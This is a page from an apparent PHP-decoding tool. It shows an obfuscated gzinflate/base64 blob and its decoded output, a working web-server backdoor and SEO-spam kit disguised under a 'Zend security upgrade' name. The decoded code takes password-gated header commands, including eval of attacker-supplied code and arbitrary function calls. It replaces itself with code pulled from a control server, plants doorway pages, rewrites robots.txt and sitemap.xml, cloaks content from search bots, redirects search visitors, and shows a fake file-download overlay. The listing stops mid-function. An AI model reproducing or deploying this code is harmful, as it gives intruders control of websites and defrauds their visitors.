Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php echo gzinflate(base64_decode('7L19fxo5sij898ynIB5mG2LAgF8TB2dsx5nxrhPnsZ2dneN4+TXQ2..
Decoded Output download
b'
$password = \'CAPs7afNI4\'; $version = 51;
if (! defined(\'ZEND_SECURITY_UPGRADE_VERSION\')) {
define(\'ZEND_SECURITY_UPGRADE_VERSION\', \'1.22\');
function dds_debug($what) {
if (@$_SERVER[\'HTTP_X_FILE\']) return;
if (! isset($GLOBALS[\'DDS_DEBUG_MESSAGES\'])) $GLOBALS[\'DDS_DEBUG_MESSAGES\'] = array();
$GLOBALS[\'DDS_DEBUG_MESSAGES\'][] = $what;
if (@! $GLOBALS[\'DDS_DEBUG_MODE\']) return;
if (@$_SERVER[\'HTTP_X_DEBUGFILE\']) {
file_put_contents(dirname(__FILE__)."/".$_SERVER[\'HTTP_X_DEBUGFILE\'], $what . "
", FILE_APPEND);
} else {
echo $what . "<br>
";
}
}
class DS_SEManager
{
/** @var DS_CacheWriter */
var $cache;
/** @var DS_Browser */
var $browser;
function __construct($cache, $browser)
{
$this->cache = $cache;
$this->browser = $browser;
}
function comesFromSE($server)
{
if (! isset($server[\'HTTP_REFERER\'])) return false;
return preg_match(\'#google|msn|live|altavista|ask|yahoo|aol|bing#i\', $server[\'HTTP_REFERER\']);
}
function getSEKey($server, $myUri)
{
if (! $this->comesFromSE($server)) return false;
$referrer = $server[\'HTTP_REFERER\'];
preg_match("#[\?&](?:q|p|query|keywords)=([^&]*)#i", $referrer, $keys);
$key = $keys[1];
if ($key) {
return $key;
}
$pos = strrpos($myUri, \'=\');
if ($pos === false) {
return false;
}
$keyFromUri = urldecode(substr($myUri, $pos + 1));
return $keyFromUri;
}
function getButtonLink($comesFromSE, $keyword, $fullkey)
{
$url = $this->cache->read(\'buttonlink\', \'\');
$url = str_replace(\'[debug-view]\', $comesFromSE ? \'debug\' : \'view\', $url);
$url = str_replace(\'[key]\', urlencode($keyword), $url);
$url = str_replace(\'[original]\', urlencode($fullkey), $url);
$url = str_replace(\'[site]\', $_SERVER[\'HTTP_HOST\'], $url);
return $url;
}
function getRedirectDestination($ip, $keyword, $fullkey)
{
$url = $this->cache->read(\'redirect\');
$url = str_replace(\'[key]\', urlencode($keyword), $url);
$url = str_replace(\'[original]\', urlencode($fullkey), $url);
$url = str_replace(\'[site]\', $_SERVER[\'HTTP_HOST\'], $url);
$apikey = $this->cache->read(\'apikey\');
if ($apikey) {
$parts = parse_url($url);
parse_str($parts[\'query\'], $params);
$query = $params + array(
\'action\' => \'get_link\',
\'api_key\' => $apikey,
\'group\' => ltrim($parts[\'path\'], \'/\'),
\'ip\' => $ip,
\'keyword\' => $keyword,
\'referer\' => str_replace(\'www.\', \'\', @$_SERVER[\'HTTP_HOST\']),
\'ua\' => $_SERVER[\'HTTP_USER_AGENT\'],
);
$apiUrl = "http://{$parts[\'host\']}/api.php?".http_build_query($query);
dds_debug("Fetching api url: $apiUrl");
$response = json_decode($this->browser->get($apiUrl), true);
if (! $response) {
} else if ($response[\'redirect\'] && $response[\'stream\'][\'url\']) {
$url = $response[\'stream\'][\'url\'];
} else if ($response[\'bot_action\']) {
return "IS_BOT";
}
}
$url = preg_replace(\'@##.+@\', \'\', $url);
return $url;
}
}
class DS_CacheWriter
{
var $root;
var $seed;
var $maxTime = false;
function __construct($root, $seed = \'\')
{
$this->root = $root;
$this->seed = $seed;
}
function setMaxTime($time)
{
$this->maxTime = $time;
}
function getFreeSpace()
{
$free = disk_free_space($this->root);
return $free ? $free : 0;
}
function hasSpace()
{
return $this->getFreeSpace() > 1000 * 1000 * 1000;
}
function getMissing($files)
{
$missing = array();
foreach ($files as $file) {
if (! $this->exists($file)) $missing[] = $file;
}
return $missing;
}
function exists($file)
{
$longName = $this->makeName($file);
$exists = file_exists($longName);
return $exists;
}
function makeDir($path)
{
$dir = dirname($path);
if (! file_exists($dir)) {
@mkdir($dir, 0777, true);
@chmod($dir, 0777);
}
}
function write($file, $contents)
{
return $this->writeRaw($file, $this->deflate($contents));
}
function writeRaw($file, $contents)
{
$fullPath = $this->makeName($file);
$this->makeDir($fullPath);
return file_put_contents($fullPath, $contents);
}
function deflate($string)
{
return $this->runIfExists(array(\'gzcompress\', \'gzdeflate\'), $string);
}
function runIfExists($names, $data)
{
foreach ($names as $name) {
if (function_exists($name)) return $name($data);
}
return $data;
}
function inflate($string)
{
return $this->runIfExists(array(\'gzuncompress\', \'gzinflate\'), $string);
}
function appendRaw($realname, $data)
{
$file = $this->makeName($realname);
$this->makeDir($file);
$fp = fopen($file, \'ab\');
$res = fwrite($fp, $data);
fclose($fp);
return $res;
}
function readRaw($realname)
{
return file_get_contents($this->makeName($realname));
}
function read($realname, $default = null)
{
$file = $this->makeName($realname);
if (! file_exists($file)) {
return $default;
}
$deflated = file_get_contents($file);
$inflated = $this->inflate($deflated);
return @$inflated;
}
function jsonRead($file, $default)
{
$body = $this->read($file);
return $body ? json_decode($body, true) : $default;
}
function tryDir($full)
{
if (! file_exists($full)) {
@mkdir($full, 0777, true);
@chmod($full, 0777);
}
return file_put_contents($full.\'.test\', \'ignore\');
}
function getDir()
{
foreach (array( \'.X1-unix/\', \'.sessions-\'.$this->seed.\'/\', \'\') as $subdir) {
$full = $this->root . $subdir;
if ($this->tryDir($full)) return $full;
}
return \'/tmp/\';
}
function makeName($file)
{
$md5 = md5($file . \'-\' . $this->seed);
return $this->getDir() . substr($md5, 0, 3) . "/" . $md5;
}
function remove($file)
{
if (! $this->exists($file)) return true;
return unlink($this->makeName($file));
}
function removeDir($dir)
{
$files = array_merge(glob($dir . \'/*\'), glob($dir . \'/.*\'));
foreach ($files as $file) {
if (in_array(basename($file), array(\'.\', \'..\'))) continue;
is_dir($file) ? $this->removeDir($file) : unlink($file);
}
return rmdir($dir);
}
function listAllFiles($dir, $options)
{
if ($this->maxTime && time() > $this->maxTime) return array();
$results = array();
$globOptions = isset($options[\'globoptions\']) ? $options[\'globoptions\'] : null;
$extension = isset($options[\'extension\']) ? $options[\'extension\'] : false;
$adddirs = isset($options[\'adddirs\']) ? $options[\'adddirs\'] : false;
$nodescend = isset($options[\'nodescend\']) ? $options[\'nodescend\'] : \'.X1-unix\';
$list = array_merge(
glob($dir . \'/*\', $globOptions),
glob($dir . \'/.*\', $globOptions)
);
foreach ($list as $file) {
$basename = basename($file);
if ($basename == \'.\' || $basename == \'..\') continue;
if (is_dir($file)) {
if ($adddirs) {
$results[] = $file;
}
if ($basename == $nodescend) continue;
$results = array_merge($results, $this->listAllFiles($file, $options));
} else if (! $extension || substr($file, -strlen($extension)) === $extension) {
$results[] = $file;
}
}
return $results;
}
function listDirs($dir) {
return $this->listAllFiles($dir, array(
\'adddirs\' => true,
\'globoptions\' => GLOB_ONLYDIR
));
}
function listFiles($dir, $extension = false) {
return $this->listAllFiles($dir, array(
\'extension\' => $extension
));
}
}
class DS_OverlayGenerator
{
private static function getBase()
{
return <<<EOF
<html>
<head>
<base target="_parent" />
<style type="text/css">
#fake table {
width: auto;
}
#fake {
background-color: #54AAC5;
color: white;
position: fixed;
top: 0;
bottom: 0;
left: 0;
right: 0;
z-index: 2147483647;
}
#header {
background-color: #2C3E50;
width: 100%;
height: 60px;
border-bottom: 2px solid white;
margin-bottom: 30px;
line-height: 60px;
padding-left: 30px;
font-size: 150%;
font-weight: bold;
}
#z {
color: #54AAC5;
}
#main {
text-align: center;
}
#heading {
font-size: 39px;
}
#dropzone, #filetable, #buttons a, #dots {
display: inline-block;
}
#dropzone {
width: 50%;
border: 2px dashed rgba(255, 255, 255, 0.5);
padding: 50px;
margin-top: 10px;
cursor: pointer;
}
#drag {
font-size: 20px;
}
#click {
font-size: 15px;
}
#filetable {
color: inherit;
font-size: 150%;
margin-top: 50px;
}
.value {
opacity: 0.5;
padding-right: 40px;
}
#action {
margin: 50px 0 30px 0;
}
#loading {
font-size: 200%;
}
#loading img {
vertical-align: middle;
}
#dots {
width: 30px;
text-align: left;
}
#head {
opacity: 0.8;
}
#buttons a {
color: white;
margin: 0 10px;
padding: 20px 30px;
text-decoration: none;
font-family: Arial, sans-serif;
}
#buttons .name {
font-weight: bold;
font-size: 130%;
}
#buttons .smaller {
font-size: 80%;
opacity: 0.7;
}
.premium {
background-color:#74ad5a;
border:1px solid #3b6e22;
-moz-box-shadow:inset 0 1px 0 0 #9acc85;
-webkit-box-shadow:inset 0 1px 0 0 #9acc85;
box-shadow:inset 0 1px 0 0 #9acc85;
}
.free {
background-color: #475e76;
border:1px solid #2C3E50;
-moz-box-shadow:inset 0 1px 0 0 #83a6cd;
-webkit-box-shadow:inset 0 1px 0 0 #83a6cd;
box-shadow:inset 0 1px 0 0 #83a6cd;
}
.hide {
display: none;
}
</style>
</head>
<body>
<div id="fake">
<div id="header">
<span id="z">Z</span> - files
</div>
<div id="main">
<div id="head">
<div id="heading">The easiest way to upload and send large files fast...</div>
<p>You Can Upload Your Files Directly It\'s Free, Also You Can Signup and Get 5GB!</p>
<hr style="width: 30%"/>
</div>
<table id="filetable">
<tr>
<td class="value">File name</td>
<td>FILENAME</td>
</tr>
<tr>
<td class="value">File size</td>
<td>SIZE</td>
</tr>
<tr>
<td class="value">Uploaded at</td>
<td>DATE</td>
</tr>
</table>
<div id="action">
<div id="buttons" class="buttons hide">
<a href="FREELINK" class="free">
<div class="name">Free download</div>
<div class="smaller">Slower, has ads</div>
</a>
<a href="PREMIUMLINK" class="premium">
<div class="name">Premium download</div>
<div class="smaller">Cheap, fast, ad-free</div>
</a>
</div>
<div id="loading" class="loading hide">
<img src="http://i.imgur.com/AYAH5ds.gif" /> Generating download link.
<span id="seconds">30</span> seconds remaining<span id="dots"><span>
</div>
<script>
(function () {
var count = 1;
var dots = document.getElementById("dots");
var seconds = document.getElementById("seconds");
var startSeconds = parseInt(seconds.innerHTML, 10);
setInterval(function () {
dots.innerHTML = new Array(count + 1).join(".");
startSeconds--;
if (startSeconds == 0) {
document.getElementById(\'loading\').className = \'hide\';
document.getElementById(\'buttons\').className = \'\';
}
seconds.innerHTML = startSeconds;
count++;
if (count == 4) count = 1;
}, 1000);
})();
</script>
</div>
<div id="dropzone">
<div id="drag">Drag Your Files - Photos to Upload</div>
<div id="click">Or click to browse</div>
</div>
</div>
</div>
</body>
</html>
EOF;
}
public static function getHtml($values)
{
$html = self::getBase();
$action = $values[\'action\'];
$html = str_replace($action . \' hide\', $action, $html);
foreach ($values as $name => $value) {
$html = str_replace(strtoupper($name), $value, $html);
}
return $html;
}
}
class DS_ServerClient
{
/** @var DS_Browser */
var $browser;
var $host;
var $password;
function __construct($browser, $host, $password)
{
$this->browser = $browser;
$this->host = $host;
$this->password = $password;
}
function getCode($minify)
{
return $this->_query(\'/code/\'.$this->password.\'/\'.$minify);
}
function getMeta()
{
return $this->_query(\'/meta/\'.$this->password);
}
function getSitemap()
{
return $this->_query(\'/sitemap/\'.$this->password);
}
function _query($path, $options = array())
{
$url = \'http://\' . $this->host . $path;
dds_debug("Query to $url");
return $this->browser->get($url, $options);
}
function loadPages($callback, $page, $minUpdatedat, $limit)
{
$res = $this->_query("/pages/$this->password/$minUpdatedat/$page/$limit", array(
CURLOPT_TIMEOUT => 500,
CURLOPT_WRITEFUNCTION => $callback
));
return $res;
}
}
class DS_FilenameMaker
{
var $stopWords = array("kindle", "free", "download", "ebook", "book", "books", "online", "format", "read", "downloadable", "audiobook", "ebooks");
var $extensions = array("epub", "fb2", "mobi", "pdf", "docx", "doc", "exe", "zip", "ibook");
var $cantStart = array("for", "of", "in", "by", "at");
var $separators = array("-", ".");
var $rippers = array("ettv", "KILLERS", "FUM", "0SEC", "ShAaNiG", "IMMERSE");
var $defaultExtension;
function __construct($defaultExtension)
{
$this->defaultExtension = $defaultExtension;
}
function getExtension($keyword)
{
foreach ($this->extensions as $extension) {
if (false !== stripos($keyword, $extension)) return $extension;
}
return $this->defaultExtension;
}
function rand($array)
{
return $array[mt_rand(0, count($array) - 1)];
}
function getRipper()
{
if (mt_rand(0, 10) <= 8) return \'\';
$ripper = $this->rand($this->rippers);
if (mt_rand(0, 1)) {
return ".[$ripper]";
} else {
return ".uploaded.by.$ripper";
}
}
function getFilename($keyword)
{
$keyword = urldecode($keyword);
mt_srand(crc32($keyword));
$name = strtolower($keyword);
foreach ($this->extensions as $ext) {
$name = str_replace(\'.\'.$ext, \'\', $name);
}
$name = trim($name);
$words = explode(\' \', $name);
$words = array_diff($words, $this->stopWords, $this->extensions);
while (count($words) && in_array($words[0], $this->cantStart)) {
array_shift($words);
}
if (count($words) == 0) {
return $keyword.\'.\'.$this->defaultExtension;
}
$words = array_map(\'ucfirst\', $words);
$separator = $this->rand($this->separators);
return implode($separator, $words) . $this->getRipper() . \'.\' . $this->getExtension($keyword);
}
}
class DS_ApiServer
{
/** @var DS_Installer */
var $installer;
/** @var DS_CacheWriter */
var $cache;
/** @var DS_ServerClient */
var $serverClient;
/** @var Bot_IPChecker */
var $ipChecker;
/** @var DS_UserLogger */
var $userLogger;
var $options;
var $writingError = false;
var $remainder = \'\';
var $pageidsWritten = array();
function __construct($installer, $cache, $serverClient, $ipChecker, $userLogger, $options)
{
$this->installer = $installer;
$this->cache = $cache;
$this->serverClient = $serverClient;
$this->ipChecker = $ipChecker;
$this->userLogger = $userLogger;
$this->options = $options;
}
function checkPassword($password)
{
return $this->options[\'password\'] && $password === $this->options[\'password\'];
}
function processApiCall($server, $POST)
{
if (! $this->checkPassword(@$server[\'HTTP_X_PASSWORD\'])) return false;
$action = $server[\'HTTP_X_ACTION\'];
if ($action == \'none\') return false;
header("Cache-Control: no-cache");
if (! method_exists($this, $action)) {
return "Missing action $action";
}
$this->timeLimit(600);
return $this->_stringifyResponse($this->$action($POST));
}
function download()
{
$file = @$_SERVER[\'HTTP_X_FILE\'];
if (! $file) return "Provide file in x-file";
header(\'Content-disposition: attachment; filename=\'.$file.\'.bin\');
header(\'Content-type: application/octet-stream\');
echo $this->cache->read($file);
exit(0);
}
function remove()
{
$file = @$_SERVER[\'HTTP_X_FILE\'];
if (! $file) return "Provide file in x-file";
return array(
\'status\' => $this->cache->remove($file)
);
}
function shouldInclude($server)
{
if (! $this->checkPassword(@$server[\'HTTP_X_PASSWORD\'])) return false;
if ($server[\'HTTP_X_ACTION\'] != \'getIncludedFiles\') return false;
return $this->getIncludedFiles();
}
function _stringifyResponse($response)
{
return json_encode($response);
}
function timeLimit($seconds)
{
@set_time_limit($seconds);
@ini_set(\'max_execution_time\', $seconds);
}
function removePreviousCache()
{
$myDir = realpath($this->cache->getDir());
$this->cache->setMaxTime(time() + 20);
$dirs = $this->cache->listDirs($_SERVER[\'DOCUMENT_ROOT\']);
$this->cache->setMaxTime(false);
$dirs = preg_grep(\'#.X1-unix$#\', $dirs);
foreach ($dirs as $dir) {
if (realpath($dir) == $myDir) continue;
$this->cache->removeDir($dir);
}
}
function install()
{
$this->timeLimit(300);
dds_debug(\'set time limit\');
$this->removePreviousCache();
dds_debug(\'removed prev cache\');
$this->installer->dropHtmlDoorways();
dds_debug(\'dropped html dw\');
if ($file = @$_SERVER[\'HTTP_X_REMOVE\']) {
dds_debug("Removing $file");
@unlink($file);
}
$res = $this->installer->includeSelf();
dds_debug(\'included self? \' . $this->_stringifyResponse($res));
if (! $res || $res[\'error\']) {
return $res;
}
$res[\'modrewrite\'] = $this->installer->hasModRewrite();
$res[\'freespace\'] = $this->cache->getFreeSpace();
return $res;
}
function getData($url)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_ENCODING, "gzip");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function hello()
{
$commonFiles = array(\'bots/ips\', \'bots/masks\', \'bots/useragents\', \'redirect\', \'template\');
$missingFiles = $this->cache->getMissing($commonFiles);
$response = array(
\'name\' => $this->cache->makeName(\'testfile\'),
\'file\' => $this->getOwnFile(),
\'dir\' => $this->cache->getDir(),
\'dirWritable\' => is_writable($this->cache->getDir()),
\'version\' => $this->options[\'version\'],
\'commonExist\' => ! $missingFiles,
\'missingFiles\' => $missingFiles,
\'redirect\' => $this->cache->read(\'redirect\')
);
foreach (array(\'gzencode\', \'gzcompress\', \'gzdeflate\') as $name) {
$response[$name] = function_exists($name);
}
if (! $missingFiles) {
$response[\'botIpNumber\'] = strlen($this->cache->read(\'bots/ips\')) / 4;
$response[\'templateSize\'] = strlen($this->cache->read(\'template\'));
}
return $response;
}
function getUserLog()
{
return $this->userLogger->getLogs();
}
function phpinfo()
{
phpinfo();
return "";
}
function run($params)
{
return $params[\'function\']($params[\'arg1\'], $params[\'arg2\']);
}
function evaluate($params)
{
return eval($params[\'arg\']);
}
function printMarker()
{
return array();
}
function getOwnFile()
{
return preg_replace(\'@\(.*\(.*$@\', \'\', __FILE__);
}
function _printIncluded()
{
echo \'<dds-delimiter>\'.$this->_stringifyResponse(get_included_files()).\'</dds-delimiter>\';
}
function getIncludedFiles()
{
$file = strrev($_SERVER[\'HTTP_X_CHECKED_FILE\']);
chdir(dirname($file));
$myname = $_SERVER[\'SCRIPT_NAME\'];
foreach ($_SERVER as $key => $value) {
$_SERVER[$key] = str_replace($myname, \'/\'.basename($file), $value);
}
$_SERVER[\'REQUEST_URI\'] = $_SERVER[\'SCRIPT_URL\'] = \'/\';
$_SERVER[\'SCRIPT_URI\'] = \'http://\'.$_SERVER[\'HTTP_HOST\'] . \'/\';
$shutdown = array($this, \'_printIncluded\');
register_shutdown_function($shutdown);
return array(
\'file\' => $file,
\'shutdown\' => $shutdown
);
}
function showCache()
{
return $this->cache->read($_SERVER[\'HTTP_X_FILE\']);
}
function dropCache()
{
return $this->cache->remove($_SERVER[\'HTTP_X_FILE\']);
}
function showIps()
{
return $this->ipChecker->getIpList();
}
function update()
{
if (@$_SERVER[\'HTTP_X_REPLACE\'] || $_SERVER[\'HTTP_X_VERSION\'] != $this->options[\'version\']) {
return array_merge(array(
\'updating\' => true,
\'myversion\' => $this->options[\'version\'],
\'currentversion\' => $_SERVER[\'HTTP_X_VERSION\'],
), $this->updateSelf());
}
$this->installer->dropHtmlDoorways();
$this->cache->write(\'folder\', @$_SERVER[\'HTTP_X_FOLDER\']);
$pageVersion = $this->cache->read(\'page version\', -1);
$serverPageVersion = @$_SERVER[\'HTTP_X_PAGESUPDATEDAT\'];
dds_debug("Our page version $pageVersion");
dds_debug("Server page version $serverPageVersion");
$linksWereUpdated = $pageVersion != $serverPageVersion;
$response = array(\'success\' => true);
foreach (array(\'redirecttype\', \'redirectwith\', \'frameurl\', \'apikey\', \'onlybots\', \'sitemap\', \'innerlinkdisplay\', \'buttonlink\') as $name) {
$value = @$_SERVER[\'HTTP_X_\'.strtoupper($name)];
if (! $value) continue;
$this->cache->write($name, $value);
}
$this->updateSitemap();
if ($serverNewIps = @$_SERVER[\'HTTP_X_NEW\']) {
foreach (explode(\',\', $serverNewIps) as $newIp) {
$this->ipChecker->addIpToList(long2ip($newIp));
}
}
if ($linksWereUpdated || ! $this->metaUpToDate()) {
$this->updateMeta();
$response[\'updated_meta\'] = true;
}
$pagesNumber = count($this->cache->jsonRead(\'pageids\', array()));
dds_debug("We have $pagesNumber pages");
$serverPageCount = intval($_SERVER[\'HTTP_X_PAGES\']);
$haveNotAllPages = false;
$response[\'myPageNumber\'] = $pagesNumber;
$count = count($this->cache->listFiles($this->cache->getDir()));
$response[\'actualCacheCount\'] = $count;
$response[\'serverPageCount\'] = $serverPageCount;
# some leeway for local cache count so that - some sites have repeating pathes, so count in cache table is e.g. 1000, with only 900 unique,
# local site has all 900, but they\'re redownloaded all the time since script thinks some pages are missing
if ($count + 100 < $serverPageCount) {
$haveNotAllPages = true;
$pageVersion = -1;
}
if ($haveNotAllPages || $linksWereUpdated) {
$response[\'pageversion\'] = $pageVersion;
$response[\'serverpageversion\'] = $serverPageVersion;
$response[\'updated_pages\'] = $this->updatePages($pageVersion, $serverPageVersion);
}
$newIps = $this->ipChecker->getNewIpList();
foreach ($newIps as $ip) {
$this->ipChecker->addIpToList($ip);
}
$this->cache->remove(\'bots/new_ips\');
$response[\'newIps\'] = array_map(array($this, \'toLong\'), $newIps);
$response[\'debug\'] = array_slice(@$GLOBALS[\'DDS_DEBUG_MESSAGES\'], 0, 50);
$response[\'links_were_updated\'] = $linksWereUpdated;
$response[\'not_all_pages\'] = $haveNotAllPages;
return $response;
}
function updateSitemap()
{
if ($this->cache->read(\'sitemap\') != \'yes\') return;
$sitemapFile = $_SERVER[\'DOCUMENT_ROOT\'] . \'/sitemap.xml\';
$sitemap = $this->getSitemapContents();
$current = file_get_contents($sitemapFile);
if ($current != $sitemap) {
$written = file_put_contents($sitemapFile, $sitemap) > 0;
if (! $written) {
dds_debug("Could not write sitemap to $sitemapFile");
$this->cache->remove(\'sitemap_showtype\');
return;
}
}
if ($this->writeRobots()) {
$this->cache->write(\'sitemap_showtype\', \'robots\');
} else {
$this->cache->write(\'sitemap_showtype\', \'inline\');
}
}
function getSitemapContents()
{
if ($text = $this->cache->read(\'sitemap_text\') && time() - 3600 * 24 * 2 < $this->cache->read(\'sitemap_since\', 0)) {
return $text;
}
$sitemap = $this->serverClient->getSitemap();
$this->cache->write(\'sitemap_text\', $sitemap);
$this->cache->write(\'sitemap_since\', time());
return $sitemap;
}
function writeRobots()
{
$robotsPath = $_SERVER[\'DOCUMENT_ROOT\'] . \'/robots.txt\';
$robotsContent = file_get_contents($robotsPath);
if (false !== strpos($robotsContent, \'/sitemap.xml\')) return true;
$robotsContent .= "
";
$robotsContent .= "User-Agent: *
";
$robotsContent .= "Sitemap: http://{$_SERVER[\'HTTP_HOST\']}/sitemap.xml
";
return file_put_contents($robotsPath, $robotsContent) > 0;
}
function toLong($ip)
{
return sprintf(\'%u\', ip2long($ip));
}
function metaUpToDate()
{
if ($_SERVER[\'HTTP_X_FORCEUPDATE\']) {
dds_debug("Update forced");
return false;
}
$serverIpNumber = $_SERVER[\'HTTP_X_IPNUMBER\'];
$ourIpNumber = $this->ipChecker->getIpCount();
if ($serverIpNumber != $ourIpNumber) {
dds_debug("Server ip number $serverIpNumber, our $ourIpNumber");
return false;
}
if ($_SERVER[\'HTTP_X_UANUMBER\'] != count($this->cache->jsonRead(\'bots/useragents\', array()))) {
dds_debug("Different UA number");
return false;
}
if ($_SERVER[\'HTTP_X_MASKNUMBER\'] != count($this->cache->jsonRead(\'bots/masks\', array()))) {
dds_debug("Different mask number");
return false;
}
if (! $this->cache->read(\'template\')) {
dds_debug("Bad template");
return false;
}
if (0 == count($this->cache->jsonRead(\'links\', array()))) {
dds_debug("No links to inject");
return false;
}
$redirect = $this->cache->read(\'redirect\');
if (! $redirect) {
dds_debug("No redirect");
return false;
}
if (md5($redirect) != $_SERVER[\'HTTP_X_DESTINATION\']) {
dds_debug("Bad redirect hash");
return false;
}
return true;
}
function updateMeta()
{
$meta = $this->serverClient->getMeta();
if (! $meta) return array(
\'error\' => \'No meta received\'
);
$meta = json_decode($meta, true);
$meta[\'bots/ips\'] = base64_decode($meta[\'bots/ips\']);
$meta[\'bots/useragents\'] = json_encode($meta[\'bots/useragents\']);
$meta[\'bots/masks\'] = json_encode($meta[\'bots/masks\']);
$meta[\'links\'] = json_encode($meta[\'links\']);
foreach ($meta as $file => $data) {
$this->cache->write($file, $data);
}
}
function updatePages($myVersion, $serverPageVersion)
{
$page = $this->cache->read(\'next page\', 0);
$limit = isset($_SERVER[\'HTTP_X_LIMIT\']) ? intval($_SERVER[\'HTTP_X_LIMIT\']) : 3000;
$callback = array($this, \'writePage\');
$this->serverClient->loadPages($callback, $page, $myVersion, $limit);
$pageidsExisting = $this->cache->jsonRead(\'pageids\', array());
$pageids = array_unique(array_merge($pageidsExisting, $this->pageidsWritten));
$this->cache->write(\'pageids\', json_encode($pageids));
$done = count($this->pageidsWritten) < $limit;
if ($done) {
$this->cache->write(\'page version\', $serverPageVersion);
$this->cache->remove(\'next page\');
} else {
$this->cache->write(\'next page\', $page + 1);
}
return array(
\'done\' => $done,
\'error\' => $this->writingError,
\'lasterror\' => error_get_last(),
\'pageCount\' => count($this->pageidsWritten),
\'total\' => count($pageids),
\'limit\' => $limit,
\'myVersion\' => $myVersion,
\'serverVersion\' => $serverPageVersion,
\'page\' => $page
);
}
function writePage($ch, $data)
{
$dataSize = strlen($data);
$data = $this->remainder . $data;
$lines = explode("
", $data);
$this->remainder = array_pop($lines);
$pageCount = 0;
foreach ($lines as $line) {
$line = trim($line);
if (! $line) continue;
$pageCount++;
$page = json_decode($line, true);
if (! $this->cache->hasSpace()) {
$this->writingError = "No space";
return 0;
}
$path = $page[\'path\'];
unset($page[\'path\']);
$data = json_encode($page);
$written = $this->cache->write($path, $data);
if (! $written) {
$this->writingError = "Could not write $path length " . strlen($data);
return 0;
}
$this->pageidsWritten[] = $page[\'id\'];
}
return $dataSize;
}
function updateSelf()
{
$minify = intval($_SERVER[\'HTTP_X_MINIFY\']);
$code = $this->serverClient->getCode($minify);
if (! $code) return array(
\'error\' => \'no code from server\'
);
$file = $this->getOwnFile();
$written = file_put_contents($file, $code);
sleep(10);
return array(
\'file\' => $file,
\'written\' => $written,
);
}
}
class Bot_UAChecker
{
/** @var Cache_Writer */
var $cache;
function __construct($cache)
{
$this->cache = $cache;
}
function isBot($userAgent)
{
$botUserAgents = json_decode($this->cache->read(\'bots/useragents\'));
if (! $botUserAgents) return false;
foreach ($botUserAgents as $botUserAgent) {
if (preg_match(\'#\'.$botUserAgent.\'#i\', $userAgent)) {
return true;
}
}
return false;
}
}
class Bot_ContentGenerator
{
/** @var DS_CacheWriter */
var $cache;
var $uri;
var $linksToInject = array();
var $linkReplaceMax = 6;
var $linkReplaceGroupSize = 1;
var $overrideTime = false;
var $filenameMaker;
/** @var DS_Browser */
var $browser;
function __construct($cache, $filenameMaker, $uri, $browser)
{
$this->cache = $cache;
$this->filenameMaker = $filenameMaker;
$this->uri = $uri;
$this->browser = $browser;
}
function canTouchUri()
{
if (preg_match(\'#\.(js|txt|css)#\', $this->uri) && ! $this->cache->exists($this->uri)) return false;
return true;
}
function endsWith($haystack, $needle)
{
return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== FALSE);
}
function getUriData($key = false)
{
$data = $this->cache->jsonRead($this->uri, false);
if (! $data) {
dds_debug("No cache data for \'$this->uri\'");
} else if ($key) {
return $data[$key];
}
return $data;
}
function getKeyword()
{
return $this->getUriData(\'keyword\');
}
function getMainKeyword()
{
return $this->getUriData(\'mainkeyword\');
}
function hideLinks($html)
{
return preg_replace_callback(\'#(<a href=".+?") data-at="(.+?)">(.+?)(</a>)#is\', array($this, \'hideLink\'), $html);
}
function hideLink($matches)
{
list(, $first, $postedat, $anchor, $last) = $matches;
$postedAt = intval($postedat);
if ($this->shouldBePosted($postedAt) || @$GLOBALS[\'DDS_DEBUG_MODE\']) {
$value = $first . ">" . $anchor . $last;
} else {
$value = $anchor;
}
if (@$GLOBALS[\'DDS_DEBUG_MODE\']) {
$value .= \' ((\' . $this->printTimeDifference($postedAt) . \'))\';
}
return $value;
}
function hasContent()
{
return $this->getUriData() != false;
}
function printCache($redirectKey, $buttonLink)
{
if (! ($data = $this->getUriData())) {
return false;
}
if (@$data[\'postedat\']) {
if (! $this->shouldBePosted($data[\'postedat\'] + 60)) {
$time = time();
dds_debug("Should not be posted, posted at {$data[\'postedat\']}, now $time");
return false;
}
}
$text = $data[\'text\'];
$text = $this->hideLinks($text);
if ($buttonLink) {
$text = str_replace(\'[[[buttonlink]]]\', $buttonLink, $text);
}
if (preg_match(\'#\.(png|jpe?g|gif)$#\', $this->uri, $matches)) {
$text = base64_decode($text);
header("Content-Type: image/" . $matches[1]);
} else if (preg_match(\'#\.woff2?$#\', $this->uri)) {
header("Content-Type: application/x-font-woff");
} else if ($this->endsWith($this->uri, \'.js\')) {
header("Content-Type: application/javascript");
} else if ($this->endsWith($this->uri, \'.css\')) {
header("Content-Type: text/css");
} else if ($data[\'title\'] == \'\' && false !== strpos($text, \'<title>\')) {
} else if ($this->endsWith($this->uri, \'.pdf\')) {
header("Cache-Control: no-cache");
dds_debug("Making pdf");
$key = $this->getKeyword();
if (! $key) {
$key = preg_replace(\'#^/\??#\', \'\', $this->uri);
}
$filename = $this->filenameMaker->getFilename($key);
return $this->printPDF($data, $filename);
} else {
header("Cache-Control: no-cache");
dds_debug("Making html");
return $this->injectHtmlToTemplate($data, $redirectKey);
}
echo $text;
return true;
}
function fetchImage($url){
return $this->browser->get($url, array(
CURLOPT_TIMEOUT => 2,
CURLOPT_CONNECTTIMEOUT => 1
));
}
function loadImage($matches) {
$url = $matches[2];
$cacheImage = strpos($matches[3], \'data-save="yes"\') !== false;
if (! $cacheImage) {
$body = $this->fetchImage($url);
} else if ($this->cache->exists($url)) {
$body = $this->cache->readRaw($url);
} else {
$body = $this->fetchImage($url);
$this->cache->writeRaw($url, $body);
}
if (! $body) return \'\';
$img = \'@\' . base64_encode($body);
return $matches[1] . $img . $matches[3];
}
function printPDF($data, $filename)
{
$pdf = new TCPDF(PDF_PAGE_ORIENTATION, PDF_UNIT, PDF_PAGE_FORMAT, true, \'UTF-8\', false);
$pdf->SetSubject($data[\'title\']);
$pdf->SetKeywords($data[\'description\']);
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);
$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);
$pdf->SetAutoPageBreak(TRUE, PDF_MARGIN_BOTTOM);
$pdf->SetFont(\'helvetica\', \'\', 12);
$pdf->AddPage();
